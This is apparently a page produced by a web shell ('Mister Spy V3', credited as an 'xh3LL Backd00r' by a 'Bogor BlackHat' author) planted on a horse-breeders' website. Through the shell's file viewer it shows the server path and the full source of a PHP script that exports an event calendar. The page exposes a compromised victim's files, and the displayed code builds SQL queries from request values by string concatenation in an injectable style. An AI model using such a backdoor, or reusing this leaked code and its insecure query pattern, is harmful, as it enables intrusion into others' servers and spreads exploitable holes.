Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/calendario_completo_exportar.php

<?php 
require_once('../Connections/cnx.php');
require_once('../funcs.php');
require_once('library/class.misc.php');

$currentPage = $_SERVER["PHP_SELF"];

$maxRows_rsCalendarios = 1500;
$pageNum_rsCalendarios = 0;
$startRow_rsCalendarios = 0;

$filtro = "1=1";
if(isset($_GET['fecha_hasta']) && $_GET['fecha_hasta']!="")
	$filtro .= " AND c.fecha_desde<='" . ParseDate($_GET['fecha_hasta']) . "'";

if(isset($_GET['fecha_desde']) && $_GET['fecha_desde']!="")
	$filtro .= " AND c.fecha_desde>='" . ParseDate($_GET['fecha_desde']) . "'";
else
	$filtro .= " AND c.fecha_desde>='" . date('Y-m-d') . "'";
if(isset($_GET['tipoID']) && $_GET['tipoID']!="")
	$filtro .= " AND c.tipoID=".intval($_GET['tipoID']);

if(isset($_GET['nombre']) && $_GET['nombre']!="")
	$filtro .= " AND c.nombre LIKE '%". intval($_GET['nombre'])."%'";	

mysql_select_db($database_cnx, $cnx);
$query_rsCalendarios       = sprintf("SELECT c.*, ct.nombre AS tipo FROM (calendarios c INNER JOIN calendarios_tipos ct ON c.tipoID=ct.tipoID ) WHERE %s ORDER BY c.fecha_desde ASC", $filtro);
$query_limit_rsCalendarios = sprintf("%s LIMIT %d, %d", $query_rsCalendarios, $startRow_rsCalendarios, $maxRows_rsCalendarios);
$rsCalendarios             = mysql_query($query_limit_rsCalendarios, $cnx) or die(mysql_error());
$row_rsCalendarios         = mysql_fetch_assoc($rsCalendarios);

if (isset($_GET['totalRows_rsCalendarios'])) {
  $totalRows_rsCalendarios = intval($_GET['totalRows_rsCalendarios']);
} else {
  $all_rsCalendarios = mysql_query($query_rsCalendarios);
  $totalRows_rsCalendarios = mysql_num_rows($all_rsCalendarios);
}
$totalPages_rsCalendarios = ceil($totalRows_rsCalendarios/$maxRows_rsCalendarios)-1;

$queryString_rsCalendarios = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsCalendarios") == false && 
        stristr($param, "totalRows_rsCalendarios") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsCalendarios = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsCalendarios = sprintf("&totalRows_rsCalendarios=%d%s", $totalRows_rsCalendarios, $queryString_rsCalendarios);


mysql_select_db($database_cnx, $cnx);
$query_rsCalendariosTipos = "SELECT * FROM calendarios_tipos ORDER BY nombre ASC";
$rsCalendariosTipos = mysql_query($query_rsCalendariosTipos, $cnx) or die(mysql_error());
$row_rsCalendariosTipos = mysql_fetch_assoc($rsCalendariosTipos);
$totalRows_rsCalendariosTipos = mysql_num_rows($rsCalendariosTipos);


function PruebaFuncionalDisponible($database_cnx, $cnx, $calendarioID, $prueba_funcionalID)
{
	mysql_select_db($database_cnx, $cnx);
	$query_rsCalendariosPruebas = "SELECT * FROM calendarios_pruebas WHERE calendarioID = $calendarioID AND prueba_funcionalID = $prueba_funcionalID";
	$rsCalendariosPruebas = mysql_query($query_rsCalendariosPruebas, $cnx) or die(mysql_error());
	$totalRows_rsCalendariosPruebas = mysql_num_rows($rsCalendariosPruebas);	
	
	if ($totalRows_rsCalendariosPruebas > 0)
	{
		$row_rsCalendariosPruebas 	= mysql_fetch_assoc($rsCalendariosPruebas);
		mysql_free_result($rsCalendariosPruebas);
		if ($row_rsCalendariosPruebas['tipo'])
			return $row_rsCalendariosPruebas['tipo'];
		return 'X';
	}
	mysql_free_result($rsCalendariosPruebas);
	return false;
}

$FileName = "calendario.xls";

header("Pragma: no-cache");
header("Expires: -1");
header("Cache-Control: no-store, no-cache, must-revalidate");		
header("Content-Type: application/x-unknown");
$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
header($header);
	
$Separador 	= "\t";
$SaltoLinea = "\n";

$csv.= "";
$csv.= $Separador;
$csv.= "";
$csv.= $Separador;
$csv.= "";
$csv.= $Separador;
$csv.= "";
$csv.= $Separador;
$csv.= "";
$csv.= $Separador;
$csv.= "";
$csv.= $Separador;
$csv.= "COMPETENCIAS FUNCIONALES";
$csv.= $SaltoLinea;

$csv.= "Fecha Desde";
$csv.= $Separador;
$csv.= "Fecha Hasta";
$csv.= $Separador;
$csv.= "Evento";
$csv.= $Separador;
$csv.= "Tipo de Evento";
$csv.= $Separador;
$csv.= "Lugar";
$csv.= $Separador;
$csv.= "Region";
$csv.= $Separador;
$csv.= "FZB";
$csv.= $Separador;
$csv.= "Dow";
$csv.= $Separador;
$csv.= "Rodeo";
$csv.= $Separador;
$csv.= "Aparte";
$csv.= $Separador;
$csv.= "Aparte Camp";
$csv.= $Separador;
$csv.= "Freno";
$csv.= $Separador;
$csv.= "Criollos America";
$csv.= $SaltoLinea;

if($totalRows_rsCalendarios > 0) 
{
	do 
	{ 
		$csv.= str_replace('-', '/', CambiarFecha($row_rsCalendarios['fecha_desde']));
		$csv.= $Separador;
		$csv.= str_replace('-', '/', CambiarFecha($row_rsCalendarios['fecha_hasta']));
		$csv.= $Separador;
		$csv.= $row_rsCalendarios['nombre'];
		$csv.= $Separador;
		$csv.= $row_rsCalendarios['tipo'];
		$csv.= $Separador;
		$csv.= $row_rsCalendarios['lugar'];
		$csv.= $Separador;
		$csv.= $row_rsCalendarios['region'];
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 1)) ? $val : "";
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 4)) ? $val : "";
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 2)) ? $val : "";
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 3)) ? $val : "";
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 6)) ? $val : "";
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 5)) ? $val : "";
		$csv.= $Separador;
		$csv.= ($val = PruebaFuncionalDisponible($database_cnx, $cnx, $row_rsCalendarios['calendarioID'] , 9)) ? $val : "";
		$csv.= $SaltoLinea;
	} 
	while ($row_rsCalendarios = mysql_fetch_assoc($rsCalendarios)); 
}

mysql_free_result($rsCalendarios);
print($csv);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat